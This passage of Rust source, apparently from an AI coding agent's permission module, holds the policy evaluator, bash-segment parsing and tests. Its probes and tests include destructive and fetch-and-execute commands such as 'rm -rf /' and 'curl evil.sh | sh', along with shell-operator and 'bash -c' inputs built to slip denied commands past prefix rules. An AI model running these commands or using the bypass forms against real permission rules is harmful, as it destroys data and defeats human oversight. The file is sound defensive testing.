reply_to_outcome(&serde_json::json!({ "outcome" : "approve" })),
PromptOutcome::AllowOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "reject" })),
PromptOutcome::RejectOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "cancelled" })),
PromptOutcome::Cancelled
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "unspecified"
})),
PromptOutcome::RejectOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({})),
PromptOutcome::RejectOnce
));
}
#[test]
fn reject_with_followup_routes_message_to_model() {
let reply = serde_json::json!(
{ "outcome" : "reject", "followup_message" : "use cargo instead" }
);
match reply_to_outcome(&reply) {
PromptOutcome::FollowupMessage(m) => assert_eq!(m, "use cargo instead"),
other => panic!("expected FollowupMessage, got {other:?}"),
}
}
#[test]
fn always_approve_maps_scope_to_persistent_outcome() {
let bash = serde_json::json!(
{ "outcome" : "always_approve", "scope" : { "kind" : "bash_command", "value"
: "cargo build" }, }
);
match reply_to_outcome(&bash) {
PromptOutcome::AllowAlwaysBashCommand(v) => assert_eq!(v, "cargo build"),
other => panic!("expected AllowAlwaysBashCommand, got {other:?}"),
}
let server = serde_json::json!(
{ "outcome" : "always_approve", "scope" : { "kind" : "server_prefix", "value"
: "linear" }, }
);
match reply_to_outcome(&server) {
PromptOutcome::AllowAlwaysMcpServer(v) => assert_eq!(v, "linear"),
other => panic!("expected AllowAlwaysMcpServer, got {other:?}"),
}
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "always_approve"
})),
PromptOutcome::AllowAlways
));
}
#[test]
fn always_reject_with_bash_scope_persists_the_denied_prefix() {
let reply = serde_json::json!(
{ "outcome" : "always_reject", "scope" : { "kind" : "bash_command", "value" :
"curl" }, }
);
match reply_to_outcome(&reply) {
PromptOutcome::RejectAlwaysBashCommand(v) => assert_eq!(v, "curl"),
other => panic!("expected RejectAlwaysBashCommand, got {other:?}"),
}
}
struct StubTransport {
reply: Result<Value, String>,
seen: Mutex<Option<Value>>,
}
#[async_trait]
impl PermissionHookTransport for StubTransport {
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
*self.seen.lock().unwrap() = Some(payload);
self.reply.clone()
}
}
#[tokio::test]
async fn request_sends_payload_and_decodes_reply() {
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "approve" })),
seen: Mutex::new(None),
};
let outcome =
request_permission_via_hub(&transport, &AccessKind::Bash("ls -la".into()), "tc-7")
.await;
assert!(matches!(outcome, PromptOutcome::AllowOnce));
let seen = transport
.seen
.lock()
.unwrap()
.clone()
.expect("payload sent");
assert_eq!(seen["tool_call_id"], "tc-7");
assert_eq!(seen["bash_command"], "ls -la");
}
#[tokio::test]
async fn transport_error_fails_closed() {
let transport = StubTransport {
reply: Err("connection lost".to_owned()),
seen: Mutex::new(None),
};
let outcome =
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-8").await;
assert!(matches!(outcome, PromptOutcome::Error(_)));
}
#[tokio::test]
async fn edit_always_approve_maps_to_session_scope() {
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
seen: Mutex::new(None),
};
let outcome =
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-9").await;
assert!(matches!(outcome, PromptOutcome::AllowEditsForSession));
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
seen: Mutex::new(None),
};
let outcome = request_permission_via_hub(
&transport,
&AccessKind::MCPTool {
name: "x".into(),
input: serde_json::Value::Null,
},
"tc-10",
)
.await;
assert!(matches!(outcome, PromptOutcome::AllowAlways));
}
#[test]
fn hitl_permission_live_defaults_off_without_env() {
if std::env::var(HITL_PERMISSION_LIVE_ENV).is_err() {
assert!(!hitl_permission_live_enabled());
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,45 @@
pub mod auto_mode;
pub mod claude_settings;
mod hub_permission;
mod manager;
mod policy;
mod prompter;
pub mod resolution;
pub mod rules;
mod shell_access;
mod state;
pub mod types;
pub use auto_mode::{
AUTO_MODE_CLASSIFIER_SYSTEM_PROMPT, AutoFastPath, CLASSIFIER_TURN_MAX_LEN, ClassifierContext,
ClassifierMessage, ClassifierMessageRole, ClassifierPromptType, ClassifierTurn,
ClassifierVerdict, ClassifyTextChannel, ClassifyTextFn, FixedClassifier,
HeuristicPermissionClassifier, LlmPermissionClassifier, PermissionClassifier, SharedClassifier,
access_requires_user_interaction, auto_mode_fast_path, build_classifier_messages,
classifier_output_json_schema, default_auto_mode_classifier, is_auto_mode_allowlisted_access,
is_auto_mode_allowlisted_tool_name, parse_classifier_model_text, permission_decision_args,
};
pub use hub_permission::{
PermissionHookTransport, ToolServerPermissionTransport, access_kind_for_hub_tool,
hitl_permission_live_enabled, prompt_outcome_allows, request_permission_via_hub,
};
/// Zero-init this module's metric families. See [`crate::init_metrics`].
pub(crate) fn init_metrics() {
hub_permission::init_metrics();
}
pub use manager::{
PermissionHandle, default_always_allow_scope, spawn_permission_manager,
spawn_permission_manager_with_hub,
};
pub use policy::CompiledPolicy;
pub use prompter::{
ALLOW_EDITS_SESSION_OPTION_ID, AcpPrompter, BashCommandPermission, BashCommandSelectedTerms,
ENABLE_ALWAYS_APPROVE_OPTION_ID, MCP_TOOL_NAME_DELIMITER, McpScopeSelection, McpToolPermission,
PromptOutcome, is_enable_always_approve_option, mcp_pretty_name_if_qualified,
mcp_titleize_segment, mcp_tool_action, mcp_tool_display_name,
};
pub use state::PermissionState;
pub use state::cleanup_stale_permission_state;
pub use types::{AccessKind, ClientType, Decision, PermissionCommand, PermissionEvent};
pub mod bash_command_splitting;
@@ -0,0 +1,878 @@
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
use crate::permission::shell_access::combine_decisions;
use crate::permission::types::{
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
};
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
#[derive(Clone, Copy)]
enum MatchContext {
/// `*` respects `/` as a segment boundary; `**` crosses it.
Path,
/// `*` matches any character including `/`.
Freeform,
}
struct CompiledRule<'a> {
rule: &'a PermissionRule,
matcher: Option<&'a glob::Pattern>,
}
/// Permission policy with pre-compiled glob patterns.
pub struct CompiledPolicy {
config: PermissionConfig,
matchers: Vec<Option<glob::Pattern>>,
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
pub(crate) has_file_restrictions: bool,
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
/// gate should run. Read by `evaluate_bash_command_policy`.
has_bash_command_restrictions: bool,
}
impl CompiledPolicy {
pub fn new(config: PermissionConfig) -> Self {
let matchers = config
.rules
.iter()
.map(|rule| {
rule.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok())
})
.collect();
let has_file_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(
rule.tool,
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
)
});
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
});
Self {
config,
matchers,
has_file_restrictions,
has_bash_command_restrictions,
}
}
/// Evaluate managed Bash/Any deny/ask command rules against every chained
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
/// into), not just the leading command. Escalation only: returns
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
/// closed to `Ask` rather than falling through.
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
if !self.has_bash_command_restrictions {
return None;
}
self.evaluate_bash_command_segments(cmd, 0)
}
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
// let an over-nested script run unevaluated.
if depth >= 8 {
return Some(Decision::Ask);
}
let Some(segments) = all_commands_from_script(cmd) else {
return Some(Decision::Ask);
};
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
Some(Decision::Allow) | None => None,
other => other,
};
let mut decision = None;
for parsed in &segments {
let raw_words = parsed.words();
let unwrapped = unwrap_wrappers(raw_words);
// Rules may target the wrapper or the wrapped program, so both forms
// are checked — but only once when nothing was peeled.
let forms = std::iter::once(raw_words)
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
for words in forms {
decision = combine_decisions(decision, escalate(&words.join(" ")));
if let Some(inner) = shell_dash_c_script(words) {
decision = combine_decisions(
decision,
self.evaluate_bash_command_segments(inner, depth + 1),
);
}
}
}
decision
}
/// Evaluate using deny > ask > allow precedence (order-independent).
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
let mut matched_ask = false;
let mut matched_allow = false;
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
if !tool_filter_matches(access, &rule.tool) {
continue;
}
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
if !pattern_matches(access, &cr) {
continue;
}
match rule.action {
RuleAction::Deny => {
let tool_label = match &rule.tool {
ToolFilter::Any => "any tool",
ToolFilter::Bash => "bash",
ToolFilter::Edit => "edit",
ToolFilter::Read => "read",
ToolFilter::Grep => "grep",
ToolFilter::Mcp => "mcp",
ToolFilter::WebFetch => "web_fetch",
ToolFilter::WebSearch => "web_search",
};
let reason = match &rule.pattern {
Some(pattern) => format!(
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
),
None => format!("Denied by permission policy: deny rule on {tool_label}"),
};
return Some(Decision::Reject(reason));
}
RuleAction::Ask => matched_ask = true,
RuleAction::Allow => matched_allow = true,
}
}
if matched_ask {
return Some(Decision::Ask);
}
if matched_allow {
return Some(Decision::Allow);
}
None
}
}
impl From<PermissionConfig> for CompiledPolicy {
fn from(config: PermissionConfig) -> Self {
Self::new(config)
}
}
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
let program = words.first()?.rsplit(['/', '\\']).next()?;
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
return None;
}
let flag = words
.iter()
.skip(1)
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
// The script is the first operand after the `-c` cluster, not necessarily
// the next word: more options may sit in between (`bash -c -x 'id'`), and
// `--` / a lone `-` end option parsing with the operand following.
let mut rest = words.get(flag + 2..)?.iter();
while let Some(word) = rest.next() {
if matches!(word.as_str(), "--" | "-") {
return rest.next().map(String::as_str);
}
if !word.starts_with('-') {
return Some(word.as_str());
}
}
None
}
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
match filter {
ToolFilter::Any => true,
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
// A Read rule also governs the Grep tool: grep reads file contents, so a
// managed `Read` deny/ask on a path must block grepping that same path —
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
}
}
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
let pattern = match cr.rule.pattern.as_deref() {
Some(p) => p,
None => return true,
};
if pattern == "*" {
return true;
}
match access {
// CWE-178: trim leading whitespace so deny rules cannot
// be bypassed by prefixing commands with spaces.
AccessKind::Bash(cmd) => {
let cmd = cmd.trim_start();
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
}
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
AccessKind::Read(path) => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::Grep { path, .. } => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
PatternMode::Domain => domain_matches(pattern, url),
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
},
AccessKind::WebSearch(query) => {
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
}
}
}
fn domain_matches(pattern: &str, url: &str) -> bool {
let parsed = match url::Url::parse(url) {
Ok(u) => u,
Err(_) => return false,
};
let host = match parsed.host_str() {
Some(h) => h,
None => return false,
};
let domain = normalize_domain(host);
let normalized_pattern = normalize_domain(pattern);
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
}
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
let Some(pat) = pat else { return false };
pat.matches_with(
text,
glob::MatchOptions {
require_literal_separator: matches!(ctx, MatchContext::Path),
require_literal_leading_dot: false,
..Default::default()
},
)
}
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
fn bash_probes() -> Vec<AccessKind> {
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
.iter()
.map(|c| AccessKind::Bash((*c).to_string()))
.collect()
}
fn mcp_probes() -> Vec<AccessKind> {
[
"github__create_issue",
"linear__save_issue",
"slack__post",
"fs__read",
]
.iter()
.map(|n| AccessKind::MCPTool {
name: (*n).to_string(),
input: serde_json::Value::Null,
})
.collect()
}
fn webfetch_probes() -> Vec<AccessKind> {
[
"https://evil.example.com/x",
"http://10.0.0.1/admin",
"https://api.github.com/repos",
"ftp://files.example.org/p",
]
.iter()
.map(|u| AccessKind::WebFetch((*u).to_string()))
.collect()
}
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
/// grant, not a scoped one). Probes run through the real evaluator
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
let matcher = rule
.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok());
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
match rule.tool {
ToolFilter::Bash => opens_all(bash_probes()),
ToolFilter::Mcp => opens_all(mcp_probes()),
ToolFilter::WebFetch => opens_all(webfetch_probes()),
ToolFilter::Any => {
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
}
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::permission::types::PermissionRule;
// ── pattern_matches tests ─────────────────────────────────────────────
fn rule_for(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
fn domain_rule(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::WebFetch,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Domain,
}
}
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
let cr = CompiledRule {
rule: &policy.config.rules[0],
matcher: policy.matchers[0].as_ref(),
};
pattern_matches(access, &cr)
}
#[test]
fn test_bash_pattern_matching() {
let access = AccessKind::Bash("npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
assert!(!matches(&access, &rule_for("cargo*")));
}
#[test]
fn rule_is_catchall_shares_the_evaluator() {
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
action: RuleAction::Allow,
tool,
pattern: pattern.map(str::to_string),
pattern_mode: mode,
};
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
// Bare / universal / prefix-regime globs are catch-alls in every
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
for tool in [
ToolFilter::Bash,
ToolFilter::Mcp,
ToolFilter::WebFetch,
ToolFilter::Any,
] {
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
assert!(
rule_is_catchall(&glob(tool.clone(), Some("*"))),
"{tool:?} *"
);
assert!(
rule_is_catchall(&glob(tool.clone(), Some("**"))),
"{tool:?} **"
);
// `?*` matches every non-empty input — the prefix-regime gap the old
// empty-string probe missed, now closed for `Any` too.
assert!(
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
"{tool:?} ?*"
);
}
// `Any(**/*)` is also universal (preserves the old Any-detector case).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
// real matcher.
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
// `Any` also counts when it fully opens a single dimension (all web).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
// to one regime fails the others' probes.
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
assert!(!rule_is_catchall(&glob(
ToolFilter::WebFetch,
Some("https://api.example.com/*")
)));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
// Domain mode is judged by the real domain matcher: one domain is scoped.
assert!(!rule_is_catchall(&rule(
ToolFilter::WebFetch,
Some("evil.example.com"),
PatternMode::Domain
)));
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
}
#[test]
fn test_edit_path_mode() {
// * doesn't cross / in path mode; ** does
let access = AccessKind::Edit("/path/to/file.rs".to_string());
assert!(!matches(&access, &rule_for("/path*")));
assert!(matches(&access, &rule_for("/path/**")));
assert!(matches(&access, &rule_for("/path/**/file.rs")));
assert!(matches(&access, &rule_for("**/*.rs")));
}
#[test]
fn test_web_fetch_domain_matching() {
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
assert!(matches(&access, &domain_rule("example.com")));
assert!(matches(&access, &domain_rule("api.example.com")));
assert!(!matches(&access, &domain_rule("other.com")));
// www. normalization
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
assert!(matches(&www, &domain_rule("example.com")));
}
#[test]
fn test_none_and_wildcard_patterns() {
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
let none_rule = PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
};
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
assert!(matches(&AccessKind::Read(None), &none_rule));
// Read(None) should not match a specific pattern
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
}
// ── tool_filter_matches tests ──────────────────────────────────────────
#[test]
fn test_tool_filter_any() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Any
));
}
#[test]
fn test_tool_filter_bash() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Bash
));
assert!(!tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Bash
));
}
#[test]
fn test_tool_filter_edit() {
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Edit
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Edit
));
}
#[test]
fn test_tool_filter_read() {
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Read
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Read
));
}
#[test]
fn test_tool_filter_mcp() {
assert!(tool_filter_matches(
&AccessKind::MCPTool {
name: "fs".into(),
input: serde_json::Value::Null,
},
&ToolFilter::Mcp
));
assert!(!tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Mcp
));
}
#[test]
fn test_tool_filter_web_fetch() {
assert!(tool_filter_matches(
&AccessKind::WebFetch("https://example.com".into()),
&ToolFilter::WebFetch
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::WebFetch
));
}
// ── evaluate tests ─────────────────────────────────────────────────────
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
CompiledPolicy::new(config.clone()).evaluate(access)
}
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
PermissionRule {
action,
tool: ToolFilter::Bash,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
#[test]
fn test_evaluate_policy_deny_beats_allow() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "rm*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_ask_forces_prompt() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Ask, "git push*"),
]);
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
assert!(matches!(result, Some(Decision::Ask)));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_deny_beats_ask() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Ask, "rm*"),
bash_rule(RuleAction::Deny, "rm -rf*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
use crate::permission::rules::parse_permission_rule;
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
let policy = PermissionConfig::new(vec![rule]);
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
assert!(matches!(
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
}
// ── CompiledPolicy reuse tests ────────────────────────────────────────
#[test]
fn test_compiled_policy_reuse_across_evaluations() {
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "npm*"),
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Ask, "git push*"),
]));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("npm test".into())),
Some(Decision::Allow)
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
Some(Decision::Reject(_))
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
Some(Decision::Ask)
));
assert!(
compiled
.evaluate(&AccessKind::Bash("cargo build".into()))
.is_none()
);
}
// ── whitespace prefix bypass regression tests ─────────────────
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Allow, "*"),
]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_bash_pattern_trims_whitespace() {
let access = AccessKind::Bash(" npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
let access = AccessKind::Bash("\t\t rm -rf".to_string());
assert!(matches(&access, &rule_for("rm*")));
}
// ── Deny bypass via shell operators ──────────────────────────────────
#[test]
fn bash_deny_enforced_in_non_leading_command_position() {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "id *"),
bash_rule(RuleAction::Deny, "id"),
]));
// A denied command after an operator / wrapper / `bash -c` must be rejected.
for cmd in [
"echo SAFE && id > M.txt",
"echo SAFE; id > M.txt",
"echo SAFE | cat; id > M.txt",
"timeout 5 id",
"bash -c \"id > M.txt\"",
"bash -c -x \"id > M.txt\"",
"bash -c -- \"id > M.txt\"",
] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Reject(_))
),
"denied command in a non-leading position must be rejected: {cmd}"
);
}
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Ask)
),
"an undecomposable script must escalate, not fall through to allow: {cmd}"
);
}
// A clean compound with no denied segment is not escalated.
assert!(
policy
.evaluate_bash_command_policy("echo hi && ls")
.is_none()
);
// With no Bash deny/ask rules the gate is inert.
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
RuleAction::Allow,
"*",
)]));
assert!(
no_restrictions
.evaluate_bash_command_policy("echo SAFE && id")
.is_none()
);
}
// ── default action tests ──────────────────────────────────────
#[test]
fn test_rule_action_defaults_to_deny() {
assert_eq!(RuleAction::default(), RuleAction::Deny);
}
#[test]
fn test_default_action_rule_denies_access() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::default(),
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
assert!(
matches!(result, Some(Decision::Reject(_))),
"Default RuleAction must deny access, not allow it"
);
}
// ── other tests from main ────────────────────────────────────────────
#[test]
fn mcp_tool_respects_deny_policy() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::Mcp,
pattern: Some("evil_tool".into()),
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(
&AccessKind::MCPTool {
name: "evil_tool".into(),
input: serde_json::Value::Null,
},
&policy,
);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_evaluate_policy_glob_edit_rule() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Edit,
pattern: Some("src/**/*.rs".into()),
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
Some(Decision::Allow)
));
}
#[test]
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebSearch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
}
#[test]
fn deny_web_fetch_still_blocks_only_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebFetch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
}
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
/// path is unaffected. A recursive grep (no concrete path) matches no path
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
#[test]
